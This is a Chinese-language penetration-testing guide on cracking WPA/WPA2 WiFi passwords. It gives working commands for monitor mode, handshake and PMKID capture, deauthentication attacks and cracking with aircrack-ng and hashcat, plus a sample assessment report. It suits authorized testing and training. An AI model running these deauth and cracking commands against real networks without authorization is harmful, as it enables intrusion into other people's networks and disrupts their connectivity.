performing-wifi-password-cracking-with-aircrack

使用 Aircrack-ng 执行 WiFi 密码破解

适用场景

• 在获得授权的无线渗透测试中评估 WPA/WPA2/WPA3 口令的强度
• 测试无线网络是否使用了可在离线状态下破解的弱密码或默认密码
• 捕获并分析 4 次握手，以评估无线认证安全性
• 向利益相关方演示 WEP、弱 WPA2 口令以及基于 PMKID 的攻击所带来的风险
• 验证企业无线网络使用的是 802.1X/EAP 而不是预共享密钥

请勿在未获得明确书面授权的情况下针对无线网络使用，也请勿用于干扰无线通信，或捕获你无权测试的网络的握手。

前置条件

• 明确说明范围内 SSID 和无线网络的书面授权
• 支持监听模式和数据包注入的无线网卡（Alfa AWUS036ACH、Alfa AWUS036ACM 或类似型号）
• 已安装 aircrack-ng 套件、hashcat 和 hcxtools 的 Kali Linux
• 密码字典（rockyou.txt、SecLists 或组织专用的自定义字典）
• 具备 GPU 能力的系统，用于加速 hashcat（可选，但对大型字典推荐使用）

工作流

步骤 1：准备无线网卡

# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

步骤 2：扫描目标网络

# Scan all channels for access points
sudo airodump-ng wlan0mon

# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork

# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)

# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

步骤 3：捕获 WPA2 4 次握手

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

步骤 4：使用 Aircrack-ng 破解（基于 CPU）

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

步骤 5：使用 Hashcat 破解（GPU 加速）

# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force 8-character numeric passwords
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# Combination attack (two wordlists combined)
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt

# Mask attack for common patterns (Word + 4 digits)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d

# For PMKID-specific hashes
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

# Show cracked password
hashcat -m 22000 hashcat_input.hc22000 --show

步骤 6：记录并清理

# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart networking services
sudo systemctl restart NetworkManager

# Generate report
cat > wifi_assessment_report.txt << 'EOF'
WiFi Security Assessment Results
=================================
Target SSID: TargetNetwork
BSSID: AA:BB:CC:DD:EE:FF
Encryption: WPA2-PSK (CCMP)
Channel: 6

Handshake Capture: Successful (Method: Client deauthentication)
Cracking Result: PASSWORD FOUND
Password: [documented securely]
Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)

Recommendation: Change to a passphrase of 15+ characters with mixed case,
numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X.
EOF

# Securely handle capture files (contain sensitive authentication material)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# Transfer to secure evidence storage per engagement agreement

关键概念

术语	定义
4 次握手	客户端与 AP 之间的 WPA/WPA2 认证交换，从 PSK 派生会话密钥，可被捕获用于离线密码破解
PMKID	AP 发送的第一个 EAPOL 帧中包含的成对主密钥标识符，允许在无需捕获完整握手或无需已连接客户端的情况下破解密码
监听模式	无线网卡的一种模式，可在不与任何接入点关联的情况下捕获某个信道上的所有无线帧
解除认证攻击	发送伪造的 802.11 管理帧使客户端与 AP 断开连接，强制其重新连接，从而生成可捕获的握手
PSK（预共享密钥）	所有用户用于向 WPA/WPA2-Personal 网络进行认证的静态密码，容易受到离线字典攻击
802.1X/EAP	使用 RADIUS 的企业无线认证，可提供按用户划分的凭据，从而消除共享密码漏洞

工具与系统

• aircrack-ng 套件：全面的无线安全工具包，包括 airodump-ng（捕获）、aireplay-ng（注入）和 aircrack-ng（破解）
• hashcat：GPU 加速的密码破解器，支持 WPA/WPA2 握手（模式 22000），可使用字典、规则和掩码攻击
• hcxtools：用于捕获 PMKID 并将无线捕获文件转换为 hashcat 兼容格式的工具
• hcxdumptool：专为提取 PMKID 而设计的捕获工具，无需客户端解除认证
• cowpatty：支持预计算哈希表的 WPA/WPA2 破解工具，可加快字典攻击速度

常见场景

场景：企业办公室的无线渗透测试

背景：一家金融服务公司希望评估其无线网络的安全性。他们有三个 SSID：Corp-WiFi（面向员工的 WPA2-Enterprise）、Guest-WiFi（面向访客的 WPA2-PSK）和 IoT-WiFi（面向 IoT 设备的 WPA2-PSK）。本次评估已获授权，可测试全部三个网络。

方法：

1. 扫描全部三个 SSID，识别其 BSSID、信道和加密类型
2. 通过检查信标帧验证 Corp-WiFi 使用 802.1X/EAP——已确认，没有可破解的 PSK
3. 通过取消认证一台已连接设备并捕获其重连过程，捕获 Guest-WiFi 的 4 次握手
4. 使用 hashcat 配合 rockyou.txt 对 Guest-WiFi 握手进行破解——密码 "Welcome2024!" 在 47 秒内被破解
5. 从 IoT-WiFi 接入点捕获 PMKID（无需取消认证客户端），并使用 hashcat 破解——在 12 秒内找到密码 "iot12345"
6. 证明 Guest-WiFi 和 IoT-WiFi 的密码强度较弱，容易被破解
7. 建议将 Guest-WiFi 迁移到带每次会话密码的强制门户，并将 IoT-WiFi 强化为 20 个字符以上的口令短语

易错点：

• 发送过多取消认证帧，干扰测试范围之外的合法无线用户
• 未使用支持目标网络频段（2.4 GHz 与 5 GHz）的无线网卡
• 试图用传统握手捕获来破解 WPA3-SAE 网络（SAE 可抵御离线攻击）
• 在共享系统上运行 GPU 破解时未监控温度和功耗

输出格式

## Wireless Security Assessment Report

**Assessment Date**: 2024-03-15
**Location**: Corporate Office, Building A

### Network Inventory

| SSID | BSSID | Encryption | Auth | Channel | Crackable |
|------|-------|------------|------|---------|-----------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |

### Findings

**Finding 1: Weak Guest-WiFi Password (High)**
- Password: "Welcome2024!" (cracked via dictionary in 47 seconds)
- Present in rockyou.txt top 100,000 entries
- Shared among all visitors with no rotation policy

**Finding 2: Trivial IoT-WiFi Password (Critical)**
- Password: "iot12345" (cracked in 12 seconds)
- Default-pattern password providing access to IoT device network
- No network segmentation between IoT-WiFi and corporate resources

### Recommendations
1. Migrate Guest-WiFi to captive portal with per-session credentials
2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation
3. Implement network segmentation isolating IoT VLAN from corporate resources
4. Consider WPA3-SAE for PSK networks to prevent offline cracking
5. Enable 802.11w Protected Management Frames to prevent deauth attacks